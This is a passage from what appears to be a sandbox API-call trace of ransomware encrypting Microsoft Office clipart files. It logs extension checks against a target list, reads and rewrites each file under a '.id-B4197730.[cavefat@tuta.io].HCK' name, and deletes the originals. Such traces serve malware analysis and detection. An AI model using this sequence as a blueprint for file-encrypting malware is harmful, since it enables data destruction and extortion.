lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.686] lstrlenW (lpString=".zip") returned 4 [0155.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.686] lstrlenW (lpString=".rar") returned 4 [0155.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString=".bz2") returned 4 [0155.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString=".7z") returned 3 [0155.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.686] lstrlenW (lpString=".dbf") returned 4 [0155.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.686] lstrlenW (lpString=".1cd") returned 4 [0155.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.686] lstrlenW (lpString=".jpg") returned 4 [0155.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.687] lstrlenW (lpString=".doc") returned 4 [0155.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString=".docx") returned 5 [0155.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.687] lstrlenW (lpString=".pdf") returned 4 [0155.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString=".xls") returned 4 [0155.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.687] lstrlenW (lpString=".xlsx") returned 5 [0155.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.687] lstrlenW (lpString=".ppt") returned 4 [0155.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.687] lstrlenW (lpString=".zip") returned 4 [0155.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.687] lstrlenW (lpString=".rar") returned 4 [0155.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString=".bz2") returned 4 [0155.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString=".7z") returned 3 [0155.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.687] lstrlenW (lpString=".dbf") returned 4 [0155.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.687] lstrlenW (lpString=".1cd") returned 4 [0155.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.687] lstrlenW (lpString=".jpg") returned 4 [0155.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.687] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.687] lstrlenW (lpString="BD20013_.WMF") returned 12 [0155.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.237] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=11058) returned 1 [0156.237] CloseHandle (hObject=0x37c) returned 1 [0156.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0156.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.238] GetLastError () returned 0x0 [0156.238] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0156.239] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0156.240] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.240] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.240] SetEndOfFile (hFile=0x2ec) returned 1 [0156.240] CloseHandle (hObject=0x2ec) returned 1 [0156.241] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.241] SetEndOfFile (hFile=0x37c) returned 1 [0156.242] CloseHandle (hObject=0x37c) returned 1 [0156.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0156.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.242] lstrlenW (lpString=".doc") returned 4 [0156.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.242] lstrlenW (lpString=".docx") returned 5 [0156.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.242] lstrlenW (lpString=".pdf") returned 4 [0156.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.242] lstrlenW (lpString=".xls") returned 4 [0156.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.243] lstrlenW (lpString=".xlsx") returned 5 [0156.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.243] lstrlenW (lpString=".ppt") returned 4 [0156.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".zip") returned 4 [0156.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.243] lstrlenW (lpString=".rar") returned 4 [0156.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString=".bz2") returned 4 [0156.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString=".7z") returned 3 [0156.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".dbf") returned 4 [0156.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".1cd") returned 4 [0156.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".jpg") returned 4 [0156.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".doc") returned 4 [0156.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString=".docx") returned 5 [0156.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.243] lstrlenW (lpString=".pdf") returned 4 [0156.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString=".xls") returned 4 [0156.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.243] lstrlenW (lpString=".xlsx") returned 5 [0156.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.243] lstrlenW (lpString=".ppt") returned 4 [0156.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".zip") returned 4 [0156.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.243] lstrlenW (lpString=".rar") returned 4 [0156.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString=".bz2") returned 4 [0156.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString=".7z") returned 3 [0156.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.243] lstrlenW (lpString=".dbf") returned 4 [0156.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.244] lstrlenW (lpString=".1cd") returned 4 [0156.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0156.244] lstrlenW (lpString=".jpg") returned 4 [0156.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.244] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.244] lstrlenW (lpString="BL00008_.WMF") returned 12 [0156.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.244] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12520) returned 1 [0156.244] CloseHandle (hObject=0x37c) returned 1 [0156.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0156.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.244] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.244] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.245] GetLastError () returned 0x0 [0156.245] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0156.246] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0156.247] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.247] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.247] SetEndOfFile (hFile=0x2ec) returned 1 [0156.247] CloseHandle (hObject=0x2ec) returned 1 [0156.248] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.248] SetEndOfFile (hFile=0x37c) returned 1 [0156.249] CloseHandle (hObject=0x37c) returned 1 [0156.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.249] lstrlenW (lpString=".doc") returned 4 [0156.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".docx") returned 5 [0156.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.249] lstrlenW (lpString=".pdf") returned 4 [0156.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".xls") returned 4 [0156.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.249] lstrlenW (lpString=".xlsx") returned 5 [0156.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.249] lstrlenW (lpString=".ppt") returned 4 [0156.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.249] lstrlenW (lpString=".zip") returned 4 [0156.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.249] lstrlenW (lpString=".rar") returned 4 [0156.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".bz2") returned 4 [0156.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".7z") returned 3 [0156.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".dbf") returned 4 [0156.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".1cd") returned 4 [0156.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".jpg") returned 4 [0156.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".doc") returned 4 [0156.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".docx") returned 5 [0156.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.250] lstrlenW (lpString=".pdf") returned 4 [0156.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".xls") returned 4 [0156.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.250] lstrlenW (lpString=".xlsx") returned 5 [0156.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.250] lstrlenW (lpString=".ppt") returned 4 [0156.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".zip") returned 4 [0156.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.250] lstrlenW (lpString=".rar") returned 4 [0156.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".bz2") returned 4 [0156.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".7z") returned 3 [0156.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".dbf") returned 4 [0156.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".1cd") returned 4 [0156.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0156.250] lstrlenW (lpString=".jpg") returned 4 [0156.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.250] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.250] lstrlenW (lpString="BL00012_.WMF") returned 12 [0156.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.251] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9818) returned 1 [0156.251] CloseHandle (hObject=0x37c) returned 1 [0156.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0156.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.251] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.251] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.251] GetLastError () returned 0x0 [0156.251] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x265a, lpOverlapped=0x0) returned 1 [0156.253] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2660, lpOverlapped=0x0) returned 1 [0156.253] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.253] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.254] SetEndOfFile (hFile=0x2ec) returned 1 [0156.254] CloseHandle (hObject=0x2ec) returned 1 [0156.254] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.254] SetEndOfFile (hFile=0x37c) returned 1 [0156.255] CloseHandle (hObject=0x37c) returned 1 [0156.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString=".doc") returned 4 [0156.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString=".docx") returned 5 [0156.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.256] lstrlenW (lpString=".pdf") returned 4 [0156.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString=".xls") returned 4 [0156.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.256] lstrlenW (lpString=".xlsx") returned 5 [0156.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.256] lstrlenW (lpString=".ppt") returned 4 [0156.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString=".zip") returned 4 [0156.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.256] lstrlenW (lpString=".rar") returned 4 [0156.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString=".bz2") returned 4 [0156.256] lstrcmpiW 